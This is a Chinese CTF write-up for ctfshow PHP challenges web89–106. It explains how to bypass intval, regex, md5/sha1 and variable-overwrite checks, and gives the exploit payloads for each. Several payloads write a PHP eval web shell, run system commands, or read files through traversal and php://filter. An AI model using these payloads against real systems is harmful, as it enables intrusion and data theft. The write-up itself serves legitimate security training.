基础知识:
web89—正则表达式绕过
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}
1、通过get方式提交一个num
2、如果通过正则匹配,提交的num中有0-9,拦截输出no no no
3、如果intval后num值为整数,输出flag
我们可以直接提交一个数组,达到绕过的效果
/?num[]=
web90—intval() 函数
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
}
1、通过get方式传递值给num
2、如果num值等于4476,拦截;‘===’的强比较后的4476为双引号,作为字符串进行比较
3、如果通过intval函数十进制变化后等于4476,输出flag
那么可以通过进制转换,将十进制4476转成十六进制117c,赋值num
intval函数中十六进制前需要带有0x
/?num=0x117c
web91—正则表达式修饰符
<?php
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}
1、通过get方式传递cmd值
2、正则匹配值中是否包含php,i为不区分大小写,m为多行匹配
3、再一次正则匹配是否包含php,不区分大小写
4、上述两个判断为正则输出hacker,否则输出flag
可以知道上面只在第一行的if判断进行多行匹配,第二行的if判断只判断第一行
因此可以进行换行,让其在第二行匹配到php,第一行不匹配到php,即到else判断输出flag
url中%0a为换行符
/?cmd=%0aphp
web92—intval()函数
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
与web90一样做法,通过进制转换
/?num=0x117c /十六进制
/?num=010574 /八进制
web93—intval()函数
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
过滤跟上个题一样,多了过滤掉a-z的大小写字母
这次就不能用十六进制,用八进制绕过
/?num=010574
web94—strpos()函数
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
其它和上一题一样
多了strpos函数
这里的判断是,如果传递的变量里有0,!取反,即传递的变量里没有0,则拦截
因此通过分析,需要给传递参数里带有0,并且通过intval函数变化后值仍等于4476
/?num=4476.0
web95—intval()函数
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|\./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
对比上一题多了过滤小数点
第一个判断从强类型比较变成弱类型,因此只要值不与4476相等即可
第二个判断只多了过滤小数点,因此可以尝试各种符号
/?num=+010574
/?num= 010574
/?num=%2B010574 /对+进行url编码
/?num=%20010574 /对空格进行url编码
intval函数对+和空格会进行删除处理,最终得到整数
web96—highlight_file
<?php
highlight_file(__FILE__);
if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}
}
1、get方式传递一个参数u
2、u参数与flag.php弱类型比较,为真,拦截
3、否则对u包含的文件进行文件语法高亮显示
/highlight_file() 对文本数据进行读入,识别关键字,加入css样式混合输出
这相当于文件包含读取,有很多等效的payload
/?u=/var/www/html/flag.php /绝对路径 通过报错提示得到当前所在目录
/?u=./flag.php /相对路径
/?u=php://filter/resource=flag.php /伪协议
/?u=/var/www/html/../../../ctfshow../../var/www/html/flag.php /通过中间不存在的目录进行上下级目录切换
web97—md5
<?php
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>
1、post传入a和b参数
2、如果a的值和b的值不相等
3、并且a和b的md5值相等
4、输出flag,否则输出wrong
php中md5函数无法处理数组,直接返回null,因此为全等
a[]=1&b[]=2 /POST方式
web98—三目运算符
<?php
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
?>
第一行,三目运算符,如果通过get传递参数,那么POST传递的值会覆盖GET
第二、三行,意义不大,第三行会覆盖第二行
第四行,如果get传递一个HTTP_FLAG为flag,输出flag,否则显示index.php代码
因此最终post传递的值会覆盖get,post传递值get随便传即可
/?1=1 /GET方式随便填 HTTP_FLAG=flag /POST方式
web99—in_array
<?php
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
}
?>
array_push() 向数组尾部插入一个或多个元素。
isset — 检测变量是否已设置并且非
NULL
in_array() 函数搜索数组中是否存在指定的值。
file_put_contents(file,data,mode,context) file,规定写入数据的文件;data,写入文件的数据;mode,如何打开/写入文件;context,规定文件句柄的环境。
1、$allow是一个数组,通过array_push函数,将随机数添加到数组里,且必含1
2、如果变量n通过get方式传递了数值并且n里含有数组内的值,那么将写入文件,文件名为n,内容为post传递的值
利用in_array()
的特性,弱比较特性,'1.php'==1
。
/?n=1.php /get方式 content=<?php @eval($_POST['hermitaria']);?> /post方式
/1.php /get方式 a=system("ls") /post方式 得到当前目录下的文件后,读取flag文件 /1.php /get方式 a=system("tac/sort flag36d.php"); /post方式
web100、101—反射类ReflectionClass
<?php
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\;/", $v2)){
if(preg_match("/\;/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
?>
1、包含一个ctfshow.php文件,建立ctfshow类的反射,v1等通过get方式传值
2、这里主要是运算优先级。$v0=is_numeric($v1)的赋值语句优先级是大于逻辑运算符and,只要保证v0为数字即可进入if语句
<?php
$a=true and false and false;
var_dump($a); 返回true
$a=true && false && false;
var_dump($a); 返回false
写入shell解法
这种解法没有利用代码中类的反射解法
在if语句后
正则匹配v2变量,不能含有\ ;
正则匹配v3变量,需含有\ ;
因此可以在v2处传入一个shell,v3处传入;即可
?v1=1&v2=eval($_POST[1])?>%23&v3=; //get
1=system("ls"); //post
1=system("sort ctfshow.php"); //得到flag
其中flag的flag_is_1b42b2680x2d8b3a0x2d44600x2d85cf0x2db1f1ea62055a
0x2d为- 需要转换成
ctfshow{1b42b268-8b3a-4460-85cf-b1f1ea62055a}
反射类ReflectionClass解法
这里代码建立了ctfshow类的反射
$ctfshow = new ctfshow();
并且注释提示flag在ctfshow里
//flag in class ctfshow;
最简单的方法是直接输出这个类
echo new ReflectionClass('ctfshow');
payload为
?v1=1&v2=echo new ReflectionClass&v3=;
web102、103—is_numeric
<?php
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
file_put_contents($v3,$str);
}
else{
die('hacker');
}
?>
1、赋值运算符优先级高于and,所以只要v2为数字型即可满足
2、$s从第三位开始截取v2变量
3、call_user_func — 把第一个参数作为回调函数调用。即将$s作为参数调用v1传递的函数
4、将$str的值的内容写入名为$v3的文件
is_numeric在php5的环境中,是可以识别十六进制的,也就是说,如果传入v2=0x66也是可以识别为数字的。
但该环境为php7,需要另找方法绕过
虽然文件内容不好控制,但是可以利用伪协议将内容进行编码转换。
所以能找到一条php语句经过base64编码,在转换为16进制之后全部都是数字就可以通过
$a='<?=`cat *`;';
$b=base64_encode($a); // PD89YGNhdCAqYDs=
$c=bin2hex($b); //这里直接用去掉=的base64 bin2hex() 函数把 ASCII 字符的字符串转换为十六进制值。
输出 5044383959474e6864434171594473
带e的话会被认为是科学计数法,可以通过is_numeric检测。
大家可以尝试下去掉=和带着=的base64解码出来的内容是相同的。因为等号在base64中只是起到填充的作用,不影响具体的数据内容。
最终payload,其中v2前面的11为填充字符,确保截取的数字有效
v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php post: v1=hex2bin
最终访问1.php查看源码得到flag
web104—sha1
<?php
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2)){
echo $flag;
}
}
?>
1、通过post方式传递v1,get方式传递v2
2、如果v1和v2的sha1值相等,输出flag
这题出题人没有比较v1和v2的值,直接传递相等的值也可以
web105—变量覆盖
<?php
highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
if($key==='error'){
die("what are you doing?!");
}
$$key=$$value;
}foreach($_POST as $key => $value){
if($value==='flag'){
die("what are you doing?!");
}
$$key=$$value;
}
if(!($_POST['flag']==$flag)){
die($error);
}
echo "your are good".$flag."\n";
die($suces);
?>
通过die($error)输出
因为如果需要输出$error,就需要满足post的值不含flag,因此可以通过一个中间变量$a进行传递
$a=$flag;
$error=$a;
payload为
a=flag post: error=a
通过die($suces)
因为如果要输出$suces,就要满足post的值与flag值相等
$suces=$flag;
payload为
payload:suces=flag post:flag=
此时$scues=flag{test123};$_POST['flag']=NULL;$flag=NULL
,满足($_POST['flag']==$flag)
web106—sha1
<?php
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2) && $v1!=$v2){
echo $flag;
}
}
?>
对比104多了对v1和v2的值进行比较
但仍可以利用数组绕过
/?v1[]=1 //get方式
v2[]=2 //post方式
如果加上强制类型转换,有以下符合的
aaroZmOk aaK1STfY aaO8zKZF aa3OFF9m